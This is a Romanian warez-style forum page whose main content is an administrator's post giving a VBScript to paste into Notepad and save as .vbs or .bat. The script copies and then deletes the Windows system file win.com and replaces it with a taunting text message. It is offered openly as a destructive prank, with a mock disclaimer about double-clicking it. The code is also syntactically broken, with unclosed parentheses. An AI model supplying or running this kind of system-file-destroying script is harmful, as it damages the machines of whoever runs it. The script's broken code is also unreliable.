defender
Pe acest forum gasesti jocuri full , torente , programe , filme , muzica mp3 , bancuri , clipuri funy , TV online , live web , aplicatii , crack , patch , mods , antivirusi , tutoriale .........(forumul este in continua dezvoltare) Daca gasiti ceva interesant puteti sa postati pe forum.
|
Lista Forumurilor Pe Tematici
|
defender | Reguli | Inregistrare | Login
POZE DEFENDER
Nu sunteti logat.
|
Nou pe simpatie:
simpacurly69
 | Femeie
24 ani
Bucuresti
cauta Barbat
35 - 70 ani |
|
sumy
Administrator
 Inregistrat: acum 17 ani
|
|
Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu sunt raspunzator daca dati dublu klic pe el...
_______________________________________
|
|
| pus acum 17 ani |
|